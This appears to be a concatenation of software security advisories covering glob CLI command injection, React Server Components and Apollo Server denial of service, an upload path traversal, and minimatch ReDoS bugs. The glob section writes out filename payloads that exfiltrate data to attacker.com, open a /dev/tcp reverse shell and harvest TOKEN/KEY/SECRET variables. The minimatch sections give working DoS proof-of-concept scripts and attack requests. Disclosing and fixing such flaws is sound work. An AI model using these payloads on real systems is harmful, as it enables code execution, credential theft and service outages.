PoC
Setup Malicious File: bash mkdir testdirectory && cd testdirectory
Create file with command injection payload in filename touch '$(touch injectedpoc)'
Trigger Vulnerability: bash Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "/"
Result: - The echo command executes normally - Additionally: The $(touch injectedpoc) in the filename is evaluated by the shell - A new file injectedpoc is created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration: bash Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell: bash Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting: bash Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm - Package name: glob - Component: CLI only (src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) - Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) - Patched versions: 11.1.0and 10.5.0
Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. - If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. - As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
- react-server-dom-webpack - react-server-dom-parcel - react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.
Summary
A Path Traversal vulnerability exists when using non-default configuration options UPLOADDIR and UPLOADKEEPFILENAME=True. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.
Details
When UPLOADDIR is set and UPLOADKEEPFILENAME is True, the library constructs the file path using os.path.join(filedir, fname). Due to the behavior of os.path.join(), if the filename begins with a /, all preceding path components are discarded:
py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. Affected Configuration Projects are only affected if all of the following are true: - UPLOADDIR is set - UPLOADKEEPFILENAME is set to True - The uploaded file exceeds MAXMEMORYFILESIZE (triggering a flush to disk)
The default configuration is not vulnerable. Impact Arbitrary file write to attacker-controlled paths on the filesystem. Mitigation Upgrade to version 0.0.22, or avoid using UPLOADKEEPFILENAME=True in project configurations.
Impact
The default configuration of startStandaloneServer from @apollo/server/standalone is vulnerable to Denial of Service (DoS) attacks through specially crafted request bodies with exotic character set encodings.
This issue does not affect users that use @apollo/server as a dependency for integration packages, like @as integrations/express5 or @as-integrations/next, only direct usage of startStandaloneServer.
Who is impacted
Users directly using startStandaloneServer from @apollo/server/standalone.
This issue affects Apollo Server from v5.0.0 through v5.3.x.
It also affects all releases of the end-of-life major versions v4, v3, and v2. Although Apollo Server v4 is EOL and Apollo no longer commits to providing support or updates for it, a fix for it was released in v4.13.0. Apollo Server v3 and v2 are no longer updated, as they have been EOL since 2024 and 2023 respectively.
Patches
Patches for this issue are released as @apollo/server versions 5.4.0 and 4.13.0.
In accordance with RFC 7159, these versions now only accept request bodies encoded in UTF-8, UTF-16 (LE or BE), or UTF-32 (LE or BE). Any other character set will be rejected with a 415 Unsupported Media Type error. Note that the more recent JSON RFC, [RFC 8259 (https://datatracker.ietf.org/doc/html/rfc8259#section-8.1), is more strict and will only allow UTF-8. Since this is a minor release, we have chosen to remain compatible with the more permissive RFC 7159 for now. In a future major release, the restriction may be tightened further to only allow UTF-8.
Workarounds
Users of apollo-server v2 or v3 that cannot upgrade for some reason could switch from the standalone apollo-server package to an integration package like apollo-server-express or apollo-server-koa and set up their own server. Please note that these old packages are generally EOL and do not receive any more support or bug fixes. This can only be seen as a short-term workaround. Updating to @apollo/server v5 should be a priority.
Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive wildcards followed by a literal character that doesn't appear in the test string. Each compiles to a separate [^/]? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC When minimatch compiles a glob pattern, each becomes [^/]? in the generated regex. For a pattern like X:
/^(?!\.)[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?X[^/]?[^/]?[^/]?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - .gitignore-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input
Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
---
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s |
---
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
javascript import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '/a//a//a//a//a//a//a//a//a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') })
server.listen(PORT)
Terminal 1 -- start the server: node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3000/match?pattern=%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3): {"result":true,"ms":"0"}
timetotal: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second timetotal is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
timetotal: 0.001599s
---
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
Summary
Nested () extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b))), which exhibit catastrophic backtracking in V8. With a 12-byte pattern (((a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
---
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the extglob type, the close token emitted is ) or )?, wrapping the recursive body in (?:...). When extglobs are nested, each level adds another quantifier around the previous group:
typescript : this.type === '' && bodyDotAllowed ? )? : )${this.type}
This produces the following regexps:
| Pattern | Generated regex | |----------------------|------------------------------------------| | (a\|b) | /^(?:a\|b)$/ | | ((a\|b)) | /^(?:(?:a\|b))$/ | | (((a\|b))) | /^(?:(?:(?:a\|b)))$/ | | ((((a\|b)))) | /^(?:(?:(?:(?:a\|b))))$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time | |----------------------|--------------------|------------| | ((a\|b)) | a x30 + z | ~68,000ms | | (((a\|b))) | a x20 + z | ~124,000ms | | ((((a\|b)))) | a x25 + z | ~116,000ms | | (a\|a) | a x25 + z | ~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | (a\|b) | 0ms | | 2 | ((a\|b)) | 4ms | | 3 | (((a\|b))) | 270ms | | 4 | ((((a\|b)))) | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
javascript import { minimatch, Minimatch } from 'minimatch'
function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } }
// Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = (${pat}) const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(depth=${depth} "${pat}" -> ${re}) } // depth=1 "(a|b)" -> /^(?:a|b)$/ // depth=2 "((a|b))" -> /^(?:(?:a|b))$/ // depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ // depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/
// Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['(((a|b)))', 15], // ~270ms ['(((a|b)))', 17], // ~800ms ['(((a|b)))', 19], // ~2400ms ['((a|b))', 23], // ~260ms ['(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log("${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}) }
// Confirm noext disables the vulnerability const tnoext = timed(() => minimatch('a'.repeat(18) + 'z', '(((a|b)))', { noext: true })) console.log(noext=true: ${tnoext.ms.toFixed(0)}ms (should be ~0ms))
// +() is equally affected const tplus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log("+(+(+(a|b)))" n=18: ${tplus.ms.toFixed(0)}ms result=${tplus.result})
Observed output: depth=1 "(a|b)" -> /^(?:a|b)$/ depth=2 "((a|b))" -> /^(?:(?:a|b))$/ depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/ "(((a|b)))" n=15: 269ms result=false "(((a|b)))" n=17: 268ms result=false "(((a|b)))" n=19: 2408ms result=false "((a|b))" n=23: 257ms result=false "(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'
const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log([${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}") res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(listening on ${PORT}))
Terminal 1 -- start the server: node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=%28%28%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3001/match?pattern=%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"}
timetotal: 63.022047s
Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="(((a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second timetotal is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 ((((a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (((a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.